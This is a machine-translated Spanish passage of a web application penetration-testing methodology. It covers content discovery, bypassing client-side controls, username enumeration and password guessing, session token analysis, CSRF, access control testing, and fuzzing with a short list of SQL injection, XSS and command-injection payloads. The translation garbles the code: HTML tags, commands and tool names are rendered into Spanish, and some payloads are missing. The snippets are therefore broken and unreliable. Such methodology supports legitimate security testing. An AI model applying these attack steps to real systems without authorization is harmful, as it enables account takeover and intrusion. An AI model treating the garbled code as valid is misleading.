técnicos publicados en los foros de Internet con respecto a la aplicación de destino
y su infraestructura de apoyo.
1.2.4 Revise cualquier archivo WSDL publicado para generar una lista de nombres de
funciones y valores de parámetros potencialmente empleados por la aplicación.
1.3.3 Revise todo el código del lado del cliente para identificar cualquier pista sobre el contenido oculto del
lado del servidor , incluidos los comentarios HTML y los elementos de formulario deshabilitados.
1.3.4 Usando las técnicas de automatización descritas en el Capítulo 14, haga un gran número de
solicitudes basadas en su directorio, nombre de archivo y listas de extensión de archivo .
Supervise las respuestas del servidor para confi rmar qué elementos están presentes y
accesibles.
1.3.5 Realice estos ejercicios de descubrimiento de contenido de forma recursiva, utilizando el nuevo
contenido y los patrones enumerados como base para realizar más búsquedas dirigidas por el
usuario y más descubrimientos automatizados.
1.4.1 Ejecute Nikto contra el servidor web para detectar cualquier contenido predeterminado o conocido
que esté presente. Utilice las opciones de Nikto para maximizar su eficacia . Por ejemplo,
puede usar la opción –root para especificar un directorio para verificar el contenido
predeterminado, o -404 para especificar una cadena que identifique una página personalizada
de Archivo no encontrado.
1.4.2 Verifique manualmente cualquier hallazgo potencialmente interesante para eliminar cualquier
falso positivo dentro de los resultados.
1.4.3 Solicitar el directorio raíz del servidor, especificando la dirección IP en la cabecera del Host , y
determinar si la aplicación responde con algún contenido diferente. Si es así, ejecute un
escaneo Nikto contra la dirección IP y el nombre del servidor.
1.4.4 Realice una solicitud al directorio raíz del servidor, especificando un rango de
encabezados de User-Agent , como se muestra en www.useragentstring.com/
pages/useragentstring.php .
2 Analizar la aplicación
2.1.4 Identifique cualquier funcionalidad que difiera de la apariencia estándar de la GUI , la denominación
de parámetros o el mecanismo de navegación que se utiliza en otras partes de la aplicación, y
identifíquela para realizar pruebas en profundidad.
2.2.3 Identifique cualquier canal fuera de banda a través del cual se introduzcan datos controlables por el
usuario o de terceros en el procesamiento de la aplicación.
Un ejemplo es una aplicación de correo web que procesa y presenta los mensajes recibidos a
través de SMTP.
2.3.3 Verifique el encabezado del servidor HTTP devuelto en las respuestas de la aplicación, y también
verifique cualquier otro identificador de software contenido dentro de los encabezados HTTP
personalizados o los comentarios del código fuente HTML. Tenga en cuenta que, en algunos
casos, las diferentes áreas de la aplicación son manejadas por diferentes componentes de back-
end, por lo que se pueden recibir diferentes anuncios.
2.3.4 Ejecute la herramienta Httprint para tomar la huella digital del servidor web.
2.3.5 Revise los resultados de sus ejercicios de mapeo de contenido para identificar
extensiones de archivo, directorios u otras subsecuencias de URL que parezcan interesantes
Machine Translated by Google
2.4.2 Para cada elemento de funcionalidad, identifique los tipos de vulnerabilidades comunes
que a menudo se asocian con él. Por ejemplo, las funciones de carga de archivos
pueden ser vulnerables al cruce de rutas, la mensajería entre usuarios puede ser
vulnerable a XSS y las funciones de contacto pueden ser vulnerables a la inyección de SMTP.
Consulte el Capítulo 4 para ver ejemplos de vulnerabilidades comúnmente asociadas
con funciones y tecnologías particulares.
2.4.3 Formule un plan de ataque, priorizando la funcionalidad que parezca más interesante y
las vulnerabilidades potenciales más graves asociadas con ella. Use su plan para
guiar la cantidad de tiempo y esfuerzo que dedica a cada una de las áreas restantes
de esta metodología.
3.1. Transmisión de datos vía 3.2. Controles de entrada del 3.3. Extensiones
cliente lado del cliente del navegador
3.1.3 Modificar el valor del elemento de manera que sea relevante para su rol en la
funcionalidad de la aplicación. Determine si la aplicación procesa valores arbitrarios
enviados en el campo y si este hecho puede explotarse para interferir con la lógica
de la aplicación o subvertir los controles de seguridad.
3.1.4 Si la aplicación transmite datos opacos a través del cliente, puede atacar esto de varias maneras.
Si el elemento está ofuscado, es posible que pueda descifrar el algoritmo de ofuscación y, por lo
tanto, enviar datos arbitrarios dentro del elemento opaco. Incluso si está encriptado de forma
segura, es posible que pueda reproducir el elemento en otros contextos para interferir con la
lógica de la aplicación. Consulte el Capítulo 5 para obtener más detalles sobre estos y otros
ataques.
3.1.5 Si la aplicación utiliza ASP.NET ViewState, realice una prueba para confi
rmar si se puede manipular o si contiene información confidencial . Tenga
en cuenta que ViewState puede usarse de manera diferente en diferentes
páginas de aplicaciones.
3.1.5.1 Use el analizador ViewState en Burp Suite para confi rmar si la opción EnableViewStateMac
se ha habilitado, lo que significa que el contenido de ViewState no se puede modificar.
3.1.5.2 Revise el ViewState decodificado para identificar cualquier dato confidencial que contenga.
3.1.5.3 Modifique uno de los valores de parámetro decodificados y recodifique y envíe ViewState.
Si la aplicación acepta el valor modificado, debe tratar ViewState como un canal de
entrada para introducir datos arbitrarios en el procesamiento de la aplicación.
Realice las mismas pruebas en los datos que contiene como lo haría con cualquier
otro parámetro de solicitud.
3.2 Probar los controles del lado del cliente sobre la entrada del usuario
3.2.1 Identifique cualquier caso en el que los controles del lado del cliente, como los límites de longitud y
las comprobaciones de JavaScript, se utilicen para validar la entrada del usuario antes de enviarla
Machine Translated by Google
3.2.2 Pruebe cada campo de entrada afectado por turno enviando entradas que normalmente
estarían bloqueadas por los controles del lado del cliente para verificar si se replican
en el servidor.
3.2.3 La capacidad de eludir la validación del lado del cliente no representa necesariamente
ninguna vulnerabilidad. Sin embargo, debe revisar detenidamente qué validación se
está realizando. Confirme si la aplicación se basa en los controles del lado del cliente
para protegerse de entradas mal formadas. También confirme si existe alguna
condición explotable que pueda ser desencadenada por dicha entrada.
3.2.4 Revise cada formulario HTML para identificar los elementos deshabilitados, como los
botones de envío atenuados. Por ejemplo:
<entrada deshabilitada=”verdadero” nombre=”producto”>
Si encuentra alguno, envíelo al servidor, junto con los demás parámetros del
formulario. Vea si el parámetro tiene algún efecto en el procesamiento del servidor
que pueda aprovechar en un ataque. Alternativamente, use una regla de proxy
automatizada para habilitar automáticamente los campos deshabilitados, como las
reglas de “Modificación de HTML” de Burp Proxy.
n.xap : Silverlight
Machine Translated by Google
También puede buscar etiquetas de subprogramas dentro del código fuente HTML de
las páginas de la aplicación. Por ejemplo:
3.3.2.2 Revise todas las llamadas realizadas a los métodos del subprograma desde el HTML
de invocación y determine si los datos devueltos por el subprograma se envían al
servidor. Si estos datos son opacos (es decir, ofuscados o encriptados), para
modificarlos probablemente necesitará descompilar el applet para obtener su código
fuente.
3.3.2.7 Si no es así, modifique la fuente del subprograma para neutralizar cualquier validación
que realice o para permitirle ofuscar entradas arbitrarias. Luego puede volver a compilar
la fuente en su formato de archivo original utilizando las herramientas de compilación
proporcionadas por el proveedor.
3.3.3.2 Ubique las funciones y los valores clave que emplea la aplicación para impulsar la lógica
comercial relacionada con la seguridad y coloque puntos de interrupción cuando se llame
a la función de destino. Modifique los argumentos o el valor devuelto según sea necesario
para afectar la omisión de seguridad.
3.3.4.1 Identifique cualquier control ActiveX empleado por la aplicación. Busque cualquier
tipo de archivo .cab que se solicite a través de su proxy de intercepción, o busque
etiquetas de objetos dentro del código fuente HTML de las páginas de la aplicación.
Por ejemplo:
<OBJETO
identificación de clase = "CLSID: 4F878398-E58A-11D3-BEE9-00C04FA0D6BA"
código base = "https://wahh app.com/scripts/input.cab" id = "TheAxControl">
</OBJETO>
3.3.4.2 Por lo general, es posible subvertir cualquier validación de entrada realizada dentro
de un control ActiveX adjuntando un depurador al proceso y modificando directamente
los datos que se procesan o alterando la ruta de ejecución del programa . Consulte
el Capítulo 5 para obtener más detalles sobre este tipo de ataque.
3.3.4.3 A menudo es posible adivinar el propósito de los diferentes métodos que exporta un
control ActiveX en función de sus nombres y los parámetros que se les pasan. Utilice
la herramienta COMRaider para enumerar los métodos exportados por el control.
Pruebe si alguno de estos se puede manipular para afectar el comportamiento del
control y anule cualquier prueba de validación que implemente.
4.2. Probar la calidad de la 4.5. Prueba de recuperación 4.8. Probar la exclusividad del 4.13.1. Prueba de lógica
4.7. Probar
4.4. Test para 4.10. Compruebe si hay
funciones de
adivinar contraseñas transmisión insegura
suplantación
almacenamiento inseguro
4.2.2 Intentar establecer varios tipos de contraseñas débiles, utilizando cualquier función de
registro automático o cambio de contraseña para establecer las reglas que realmente se aplican.
Pruebe contraseñas cortas, solo caracteres alfabéticos, solo caracteres en mayúsculas y minúsculas,
palabras del diccionario y el nombre de usuario actual.
4.2.3 Prueba de validación incompleta de credenciales. Establezca una contraseña segura y compleja (por ejemplo,
12 caracteres con letras mayúsculas y minúsculas, números y caracteres tipográficos). Intente iniciar
sesión utilizando diferentes variaciones de esta contraseña, eliminando el último carácter, cambiando el
caso de un carácter y eliminando cualquier carácter especial. Si alguno de estos intentos de inicio de
sesión es exitoso, continúe experimentando sistemáticamente para identificar qué validación se está
realizando realmente.
4.3.1 Identifique cada ubicación dentro de las diversas funciones de autenticación donde se envía un nombre de
usuario, incluso a través de un campo de entrada en pantalla, un campo de formulario oculto o una cookie.
Las ubicaciones comunes incluyen el inicio de sesión principal, el registro automático, el cambio de
contraseña, el cierre de sesión y la recuperación de la cuenta.
4.3.2 Para cada ubicación, envíe dos solicitudes, que contengan un nombre de usuario válido y otro no válido .
Revise cada detalle de las respuestas del servidor a cada par de solicitudes, incluido el código de estado
HTTP, los redireccionamientos, la información que se muestra en pantalla, las diferencias ocultas en la
fuente de la página HTML y el tiempo que tarda el servidor en responder. Tenga en cuenta que algunas
diferencias pueden ser sutiles (por ejemplo, el mismo mensaje de error puede contener diferencias
tipográficas menores). Puede usar la función de historial de su proxy de interceptación para revisar todo
el tráfico hacia y desde el servidor. WebScarab tiene una función para comparar dos respuestas para
resaltar rápidamente cualquier diferencia entre ellas.
4.3.3 Si observa alguna diferencia entre las respuestas en las que se envía un nombre de usuario válido y otro no
válido, repita la prueba con un par de valores diferente y confirme que existe una diferencia sistemática
que puede servir de base para la enumeración automática de nombres de usuario.
Machine Translated by Google
4.3.4 Verifique cualquier otra fuente de fuga de información dentro de la aplicación que pueda
permitirle compilar una lista de nombres de usuario válidos. Algunos ejemplos son la
funcionalidad de registro, las listas reales de usuarios registrados y la mención directa
de nombres o direcciones de correo electrónico en los comentarios del código fuente.
4.4.2 En cada ubicación, utilizando una cuenta que usted controle, envíe manualmente varias
solicitudes que contengan el nombre de usuario válido pero otras credenciales no
válidas. Supervise las respuestas de la aplicación para identificar cualquier diferencia .
Después de aproximadamente 10 inicios de sesión fallidos, si la aplicación no ha
devuelto un mensaje sobre el bloqueo de la cuenta, envíe una solicitud que contenga
credenciales válidas. Si esta solicitud tiene éxito, probablemente no esté en vigor una
política de bloqueo de cuenta .
4.4.3 Si no controla ninguna cuenta, intente enumerar o adivinar un nombre de usuario válido y
realice varias solicitudes no válidas utilizando esta suposición, controlando cualquier
mensaje de error sobre el bloqueo de la cuenta. Por supuesto, debe tener en cuenta
que esta prueba puede tener el efecto de suspender o deshabilitar una cuenta que
pertenece a otro usuario.
4.5.3 Si la función usa un desafío como una pregunta secreta, determine si los usuarios pueden
establecer o seleccionar su propio desafío durante el registro.
Si es así, use una lista de nombres de usuario enumerados o comunes para recopilar
una lista de desafíos, y revise esto en busca de cualquiera que parezca fácil de adivinar.
Machine Translated by Google
4.5.4 Si la función utiliza una sugerencia de contraseña, realice el mismo ejercicio para obtener
una lista de sugerencias de contraseña e identifique las que parezcan fáciles de adivinar.
4.5.5 Realice las mismas pruebas en cualquier desafío de recuperación de cuenta que realizó en
la función de inicio de sesión principal para evaluar la vulnerabilidad a los ataques de
adivinación automatizados.
4.5.6 Si la función implica enviar un correo electrónico al usuario para completar el proceso de
recuperación, busque cualquier debilidad que pueda permitirle tomar el control de las
cuentas de otros usuarios. Determine si es posible controlar la dirección a la que se envía
el correo electrónico. Si el mensaje contiene una URL de recuperación única, obtenga una
cantidad de mensajes usando una dirección de correo electrónico que controle e intente
identificar cualquier patrón que pueda permitirle predecir las URL emitidas a otros usuarios.
Aplique la metodología descrita en el paso 5.3 para identificar cualquier secuencia
predecible.
4.6.2 Inspeccione de cerca todas las cookies persistentes que se configuran cuando se
activa la función Recordarme . Busque cualquier dato que identifique al usuario
explícitamente o que parezca contener algún identificador predecible del usuario.
4.6.3 Incluso cuando los datos almacenados parezcan estar fuertemente codificados u ofuscados,
revíselos detenidamente y compare los resultados de recordar varios nombres de usuario
y/o contraseñas muy similares para identificar cualquier oportunidad de aplicar ingeniería
inversa a los datos originales. Aplique la metodología descrita en el paso 5.2 para identificar
cualquier dato significativo.
4.7.2 Busque cualquier dato proporcionado por el usuario que se utilice para determinar el objetivo
de la suplantación de identidad. Intento de manipular esto para suplantar
Machine Translated by Google
4.8.1 Si la aplicación tiene una función de registro automático que le permite especificar un
nombre de usuario deseado, intente registrar el mismo nombre de usuario dos veces
con diferentes contraseñas.
4.8.2 Si la aplicación bloquea el segundo intento de registro, puede aprovechar este
comportamiento para enumerar los nombres de usuario registrados.
4.8.3 Si la aplicación registra ambas cuentas, indague más para determinar su comportamiento
cuando ocurre una colisión de nombre de usuario y contraseña. Intente cambiar la
contraseña de una de las cuentas para que coincida con la de la otra. Además, intente
registrar dos cuentas con nombres de usuario y contraseñas idénticos.
4.8.4 Si la aplicación le alerta o genera un error cuando ocurre una colisión de nombre
de usuario y contraseña, probablemente pueda aprovechar esto para realizar un
ataque de adivinación automatizado para descubrir la contraseña de otro usuario.
Apunte a un nombre de usuario enumerado o adivinado e intente crear cuentas
que tengan este nombre de usuario y contraseñas diferentes. Cuando la
aplicación rechaza una contraseña específica, probablemente haya encontrado
la contraseña existente para la cuenta de destino.
4.8.5 Si la aplicación parece tolerar una colisión de nombre de usuario y contraseña sin
error, inicie sesión con las credenciales en conflicto. Determine qué sucede y si se
puede aprovechar el comportamiento de la aplicación para obtener acceso no
autorizado a las cuentas de otros usuarios.
4.10.3 Si alguna vez se transmiten las credenciales en la cadena de consulta de la URL, estas
son potencialmente vulnerables a la divulgación en el historial del navegador, en la
pantalla, en los registros del servidor y en el encabezado del Referer cuando se siguen
enlaces de terceros .
4.10.4 Si alguna vez se almacenan credenciales en una cookie, estas son potencialmente vulnerables a la
divulgación a través de ataques XSS o ataques a la privacidad local.
4.10.5 Si alguna vez se transmiten las credenciales del servidor al cliente, estas pueden verse
comprometidas a través de vulnerabilidades en la administración de sesiones o controles de
acceso, o en un ataque XSS.
4.10.6 Si alguna vez se transmiten credenciales a través de una conexión no cifrada, estas son vulnerables
a la interceptación por parte de un espía.
4.10.7 Si las credenciales se envían mediante HTTPS pero el formulario de inicio de sesión se carga
mediante HTTP, la aplicación es vulnerable a un ataque de intermediario que puede usarse para
capturar las credenciales.
4.11.3 Intente reutilizar una única URL de activación varias veces y compruebe si la
aplicación lo permite. Si no es así, intente bloquear la cuenta de destino antes de
volver a utilizar la URL y compruebe si la URL sigue funcionando. Determine si
esto le permite establecer una nueva contraseña en una cuenta activa.
4.12.1 Si obtiene acceso a contraseñas hash, verifique las cuentas que comparten el mismo
valor de contraseña hash. Intente iniciar sesión con contraseñas comunes para el
valor hash más común.
4.12.2 Use una tabla de arcoíris fuera de línea para el algoritmo hash en cuestión para
recuperar el valor de texto sin cifrar.
4.13.1.1 Para cada función en la que la aplicación verifique las credenciales de un usuario,
incluidas las funciones de inicio de sesión y cambio de contraseña, realice el
proceso de la manera habitual, utilizando una cuenta que usted controle. Tenga
en cuenta cada parámetro de solicitud enviado a la aplicación.
4.13.1.2 Repita el proceso varias veces, modificando cada parámetro a su vez de varias
formas inesperadas diseñadas para interferir con la lógica de la aplicación. Para
cada parámetro, incluya los siguientes cambios:
especifica el desafío junto con la respuesta del usuario, determine si puede elegir
efectivamente su propio desafío modificando este valor.
n Intente avanzar hasta el desafío variable varias veces con el mismo nombre de
usuario y determine si se presenta un desafío diferente. Si es así, puede elegir
efectivamente su propio desafío procediendo a esta etapa repetidamente hasta
que se presente el desafío deseado.
4.14.1 Revise cualquier vulnerabilidad que haya identificado dentro de las diversas funciones de
autenticación e identifique cualquiera que pueda aprovechar para lograr sus objetivos al
atacar la aplicación. Por lo general, esto implica intentar autenticarse como un usuario
diferente, si es posible, un usuario con privilegios administrativos.
4.14.2 Antes de montar cualquier tipo de ataque automatizado, tome nota de cualquier defensa
de bloqueo de cuenta que haya identificado. Por ejemplo, al realizar la enumeración de
nombres de usuario en una función de inicio de sesión, envíe una contraseña común
con cada solicitud en lugar de un valor completamente arbitrario para no desperdiciar un
intento fallido de inicio de sesión en cada nombre de usuario descubierto.
Del mismo modo, realice cualquier ataque de adivinación de contraseñas primero en
amplitud, no en profundidad. Comience su lista de palabras con las contraseñas débiles
más comunes y continúe con esta lista, probando cada elemento con cada nombre de
usuario enumerado.
4.14.3 Tenga en cuenta las reglas de calidad de las contraseñas y la integridad de la validación
de contraseñas cuando construya listas de palabras para usar en cualquier ataque de
adivinación de contraseñas para evitar casos de prueba imposibles o superfluos.
4.14.4 Use las técnicas descritas en el Capítulo 14 para automatizar tanto trabajo como sea
posible y maximizar la velocidad y efectividad de sus ataques.
Machine Translated by Google
5.1.2 Si la aplicación utiliza tokens de sesión, confi rme con precisión qué datos se utilizan
realmente para volver a identificar a los usuarios. Los elementos que se pueden usar
para transmitir tokens incluyen cookies HTTP, parámetros de cadena de consulta y
campos de formulario ocultos. Varias piezas diferentes de datos pueden usarse
colectivamente para volver a identificar al usuario, y diferentes elementos pueden ser
usados por diferentes componentes de back-end. A menudo, es posible que la
aplicación no emplee elementos que parecen tokens de sesión , como la cookie
predeterminada generada por el servidor web.
Machine Translated by Google
5.1.3 Para verificar qué elementos se están empleando realmente como tokens de sesión,
busque una página o función que sea ciertamente dependiente de la sesión (como una
página Mis detalles específica del usuario). Luego haga varias solicitudes para ello,
eliminando sistemáticamente cada elemento que sospeche que se está utilizando como
token de sesión . Si eliminar un elemento impide que se devuelva la página dependiente
de la sesión, esto puede confirmar que el elemento es un token de sesión. Burp
Repeater es una herramienta útil para realizar estas pruebas.
5.2.2 Analice los tokens que recibe en busca de correlaciones que parezcan estar relacionadas
con el nombre de usuario y otros datos controlables por el usuario.
5.2.3 Analice los tokens en busca de cualquier codificación u ofuscación detectable. Busque
una correlación entre la longitud del nombre de usuario y la longitud del token, lo que
indica claramente que se está utilizando algún tipo de ofuscación o codificación.
Cuando el nombre de usuario contenga una secuencia del mismo carácter, busque una
secuencia de caracteres correspondiente en el token, lo que puede indicar el uso de
ofuscación XOR. Busque secuencias en el token que contengan solo caracteres
hexadecimales, lo que puede indicar la codificación hexadecimal de una cadena ASCII
u otra información. Busque secuencias que terminen en un signo igual y/o que
contengan solo los otros caracteres Base64 válidos: de la a a la z, de la A a la Z, del 0
al 9, + y /.
5.3.3 Si identifica algún patrón, capture una segunda muestra de tokens utilizando una
dirección IP diferente y un nombre de usuario diferente. Esto le ayudará a
identificar si se detecta el mismo patrón y si las fichas recibidas en el primer
ejercicio podrían extrapolarse para adivinar las fichas recibidas en el segundo.
5.4.2 Si se utilizan cookies HTTP como mecanismo de transmisión para los tokens
de sesión, verifique si el indicador de seguridad está configurado, lo que evita
que se transmitan a través de conexiones HTTP.
5.4.3 Determinar si, en el uso normal de la aplicación, los tokens de sesión alguna
vez se transmiten a través de una conexión HTTP. Si es así, son vulnerables
a la intercepción.
5.4.4 En los casos en que la aplicación usa HTTP para áreas no
autenticadas y cambia a HTTPS para el inicio de sesión y/o áreas
autenticadas de la aplicación, verifique si se emite un nuevo token
para la parte HTTPS de las comunicaciones, o si se emite un token
durante la etapa HTTP permanece activa cuando la aplicación cambia a HTTPS.
Si un token emitido durante la etapa HTTP permanece activo, el token es
vulnerable a la intercepción.
5.4.5 Si el área HTTPS de la aplicación contiene enlaces a URL HTTP, sígalos y
verifique si se envía el token de sesión. Si es así, determine si continúa siendo
válido o si el servidor lo rescinde inmediatamente.
5.5.2 Identifique cualquier instancia en la que se transmitan tokens de sesión dentro de la URL.
Puede ser que los tokens se transmitan generalmente de una manera más segura, pero
que los desarrolladores hayan usado la URL en casos específicos para solucionar un
problema en particular. Si es así, estos pueden transmitirse en el encabezado de Referer
cuando los usuarios siguen cualquier enlace fuera del sitio. Verifique cualquier
funcionalidad que le permita inyectar enlaces fuera del sitio arbitrarios en páginas vistas
por otros usuarios.
5.5.3 Si encuentra alguna forma de recopilar tokens de sesión válidos emitidos a otros usuarios,
busque una forma de probar cada token para determinar si pertenece a un usuario
administrativo (por ejemplo, al intentar acceder a una función privilegiada usando el
token). ).
5.6.2 Iniciar y cerrar sesión varias veces con la misma cuenta de usuario, ya sea desde diferentes
procesos del navegador o desde diferentes computadoras. Determine si se emite un
token de sesión nuevo cada vez, o si se emite el mismo token cada vez que la misma
cuenta inicia sesión. Si esto último ocurre, la aplicación no está empleando tokens de
sesión adecuados, sino cadenas persistentes únicas para volver a identificar cada uno.
usuario. En esta situación, no hay forma de protegerse contra los inicios de sesión
simultáneos o de hacer cumplir correctamente
hora de término de la sesión.
5.6.3 Si los tokens parecen contener alguna estructura y significado, intente separar los
componentes que puedan identificar al usuario de aquellos que parecen ser inescrutables.
Intente modificar los componentes del token relacionados con el usuario para que se
refieran a otros usuarios conocidos de la aplicación. Verifique si la aplicación acepta el
token resultante y si le permite enmascararse como ese usuario. Consulte el Capítulo 7
para ver ejemplos de este tipo de vulnerabilidad sutil.
5.7.1 Cuando pruebe fallas en el tiempo de espera de la sesión y cierre de sesión, concéntrese
únicamente en el manejo de sesiones y tokens por parte del servidor, en lugar de
cualquier evento que ocurra en el cliente. En términos de terminación de sesión, nada
depende mucho de lo que le suceda al token dentro del navegador del cliente.
Machine Translated by Google
5.7.3 Compruebe si existe una función de cierre de sesión. Si es así, pruebe si invalida
efectivamente la sesión del usuario en el servidor. Después de cerrar la sesión,
intente reutilizar el token anterior y determine si aún es válido solicitando una
página protegida usando el token. Si la sesión aún está activa, los usuarios
siguen siendo vulnerables a algunos ataques de secuestro de sesión incluso
después de haber "cerrado la sesión". Puede usar Burp Repeater para seguir
enviando una solicitud específica desde el historial del proxy para ver si la
aplicación responde de manera diferente después de cerrar la sesión.
5.9.2 Revise la funcionalidad clave de la aplicación e identifique las solicitudes específicas que
se utilizan para realizar acciones confidenciales. Si un atacante puede determinar
completamente por adelantado los parámetros para cualquiera de estas solicitudes ( es
decir, no contienen tokens de sesión, datos impredecibles u otros secretos), la aplicación
es casi seguro que es vulnerable.
5.9.3 Cree una página HTML que emitirá la solicitud deseada sin ninguna interacción del
usuario. Para solicitudes GET , puede colocar una etiqueta <img> con el parámetro src
establecido en la URL vulnerable. Para las solicitudes POST , puede crear un formulario
que contenga campos ocultos para todos los parámetros relevantes necesarios para el
ataque y cuyo objetivo sea la URL vulnerable. Puede usar JavaScript para enviar
automáticamente el formulario tan pronto como se cargue la página. Mientras esté
conectado a la aplicación, use el mismo navegador para cargar su página HTML.
Verifique que la acción deseada se lleva a cabo dentro de la aplicación.
5.9.4 Si la aplicación usa tokens adicionales dentro de las solicitudes en un intento de prevenir
ataques CSRF, pruebe la robustez de estos de la misma manera que para los tokens
de sesión. Pruebe también si la aplicación es vulnerable a los ataques de reparación de
la interfaz de usuario para derrotar las defensas anti-CSRF (consulte el Capítulo 13
para obtener más detalles).
5.10.1 Si la aplicación utiliza cookies HTTP para transmitir tokens de sesión (o cualquier otro
dato confidencial), revise los encabezados de Set-Cookie relevantes y verifique los
atributos de dominio o ruta utilizados para controlar el alcance de las cookies.
5.10.3 Si la aplicación establece el alcance del dominio de sus cookies en su propio nombre de
dominio (o no especifica un atributo de dominio), aún puede estar expuesta a ataques
a través de cualquier aplicación alojada en subdominios. Esta es una consecuencia de
cómo funciona el alcance de las cookies. No se puede evitar de otra manera que no
aloje ninguna otra aplicación en un subdominio de una aplicación sensible a la seguridad.
Machine Translated by Google
5.10.5 Identificar todos los posibles nombres de dominio y rutas que recibirán las cookies
que emite la aplicación. Establezca si se puede acceder a otras aplicaciones web a
través de estos nombres de dominio o rutas que pueda aprovechar para capturar
las cookies emitidas a los usuarios de la aplicación de destino.
6.4. Prueba
6.1. Comprender los requisitos
de métodos inseguros
6.2.1.2 Revise el contenido del mapa del sitio de Burp para asegurarse de haber
identificado todas las funciones que desea probar. Luego, cierre sesión en
la aplicación y vuelva a iniciar sesión utilizando un contexto de usuario diferente.
Use el menú contextual para seleccionar la función "comparar mapas de sitios"
para determinar qué solicitudes con privilegios altos pueden ser accesibles para
el usuario con privilegios más bajos. Consulte el Capítulo 8 para obtener más
detalles sobre esta técnica.
6.2.3.1 Para cada privilegio de usuario, revise los recursos disponibles para un usuario.
Intente acceder a esos recursos desde una cuenta de usuario no autorizada
reproduciendo la solicitud utilizando el token de sesión del usuario no autorizado.
6.2.4 Cuando realice cualquier tipo de prueba de control de acceso, asegúrese de probar cada paso
de las funciones de varias etapas individualmente para confi rmar si los controles de acceso
se han implementado correctamente en cada etapa o si la aplicación asume que los usuarios
que acceden a una etapa posterior deben han pasado los controles de seguridad
implementados en las etapas anteriores. Por ejemplo, si una página administrativa que
contiene un formulario está debidamente protegida, compruebe si el envío del formulario real
también está sujeto a los controles de acceso adecuados.
6.3.2 En sus ejercicios de mapeo de aplicaciones que utilizan una cuenta con pocos
privilegios, es posible que haya identificado las URL para funciones
privilegiadas, como las interfaces administrativas. Si estos no están
adecuadamente protegidos, probablemente ya lo sepa.
6.3.3 Descompilar todos los clientes compilados que estén presentes y extraer cualquier
referencia a la funcionalidad del lado del servidor.
6.3.5 Si encuentra una manera de predecir los identifi cadores emitidos a otros usuarios, utilice
las técnicas descritas en el Capítulo 14 para montar un ataque automatizado para
recopilar datos interesantes pertenecientes a otros usuarios. Utilice la función Extraer
Grep en Burp Intruder para capturar la información relevante dentro de las respuestas de
la aplicación.
6.4.2 Algunas aplicaciones basan las decisiones de control de acceso en el encabezado HTTP
Referer . Por ejemplo, una aplicación puede controlar adecuadamente el acceso a /
admin.jsp y aceptar cualquier solicitud que muestre esto como su referencia. Para probar
este comportamiento, intente realizar algunas acciones privilegiadas para las que esté
autorizado y envíe un encabezado de referencia modificado o faltante .
Si este cambio hace que la aplicación bloquee su solicitud, es posible que esté utilizando
el encabezado Referer de forma no segura. Intente realizar la misma acción que un
usuario no autorizado, pero proporcione el encabezado de referencia original y vea si la
acción tiene éxito.
7.1.2 Para fuzzear los parámetros, puede usar sus propios scripts o una herramienta de
fuzzing ya preparada . Por ejemplo, para usar Burp Intruder, cargue cada solicitud por
turno en la herramienta. Una forma sencilla de hacerlo es interceptar una solicitud en
Burp Proxy y seleccionar la acción Enviar a intruso, o hacer clic con el botón derecho
en un elemento del historial de Burp Proxy y seleccionar esta opción. El uso de esta
opción configura Burp Intruder con el contenido de la solicitud, junto con el host y el
puerto de destino correctos. También marca automáticamente los valores de todos los
parámetros de solicitud como posiciones de carga útil, listas para la fuzzing.
7.1.3 Utilizando la pestaña de cargas útiles, configure un conjunto adecuado de cargas útiles de ataque
para detectar vulnerabilidades dentro de la aplicación. Puede ingresar cargas útiles
manualmente, cargarlas desde un archivo o seleccionar una de las listas de cargas útiles preestablecidas.
Fuzzear cada parámetro de solicitud dentro de la aplicación generalmente implica
emitir una gran cantidad de solicitudes y revisar los resultados en busca de anomalías.
Si su conjunto de cadenas de ataque es demasiado grande, esto puede ser contraproducente
Machine Translated by Google
y generar una cantidad prohibitivamente grande de resultados para que los revise.
Por lo tanto, un enfoque sensato es apuntar a una gama de vulnerabilidades
comunes que a menudo se pueden detectar fácilmente en respuestas anómalas a
entradas específicas diseñadas y que a menudo se manifiestan en cualquier lugar
dentro de la aplicación en lugar de dentro de tipos específicos de funcionalidad.
Aquí hay un conjunto adecuado de cargas útiles que puede usar para probar
algunas categorías comunes de vulnerabilidades:
Inyección SQL
'
'--
xsstest
“><script>alerta('xss')</script>
Recorrido de ruta
;eco 111111
eco 111111
respuesta.escribir 111111
:respuesta.escribir 111111
Inclusión de archivos
7.1.4 Todas las cargas útiles anteriores se muestran en su forma literal. Los caracteres y el
?, ;, &, +, =, espacio deben estar codificados en URL porque tienen características especiales.
Machine Translated by Google
significado dentro de las solicitudes HTTP. De forma predeterminada, Burp Intruder realiza la
codificación necesaria de estos caracteres, así que asegúrese de que esta opción no esté
desactivada. (Para restaurar todas las opciones a sus valores predeterminados luego de una
personalización anterior, seleccione Eructar ‚ Restaurar valores predeterminados).
7.1.5 En la función Grep de Burp Intruder, configure un conjunto adecuado de cadenas para
marcar algunos mensajes de error comunes dentro de las respuestas. Por ejemplo:
error
excepción
ilegal
inválido
fallar
pila
acceso
directorio
expediente
extraviado
varchar
ODBC
sql
SELECCIONE
111111
Tenga en cuenta que la cadena 111111 se incluye para probar los ataques de inyección de
secuencias de comandos con éxito. Las cargas útiles en el paso 7.1.3 implican escribir este valor
en la respuesta del servidor.
7.1.6 Seleccione también la opción Payload Grep para marcar las respuestas que contienen el
propio payload, lo que indica una posible vulnerabilidad de inyección de encabezado o XSS.
7.1.7 Configure un servidor web o un escucha de netcat en el host que especificó en la carga
útil de inclusión del primer archivo. Esto lo ayuda a monitorear los intentos de
conexión recibidos del servidor como resultado de un ataque exitoso de inclusión de
archivos remotos.
7.1.8 Lanzar el ataque. Cuando se haya completado, revise los resultados en busca de
respuestas anómalas que indiquen la presencia de vulnerabilidades. Verifique las
divergencias en el código de estado HTTP, la duración de la respuesta, el tiempo de
respuesta, la apariencia de sus expresiones configuradas y la apariencia de la carga
útil en sí. Puede hacer clic en cada encabezado de columna en la tabla de resultados
para ordenar los resultados por los valores en esa columna (y Mayús-clic para
ordenar los resultados a la inversa). Esto le permite identificar rápidamente cualquier
anomalía que se destaque de los otros resultados.
7.1.9 Para cada vulnerabilidad potencial indicada por los resultados de su prueba fuzzing,
consulte las siguientes secciones de esta metodología. Describen los pasos
detallados que debe seguir en relación con cada categoría de problema para verificar
la existencia de una vulnerabilidad y explotarla con éxito.
Machine Translated by Google
7.1.10 Después de haber configurado Burp Intruder para realizar una prueba de fuzz de una sola
solicitud, puede repetir rápidamente la misma prueba en otras solicitudes dentro de la
aplicación. Simplemente seleccione cada solicitud de destino dentro de Burp Proxy y elija la
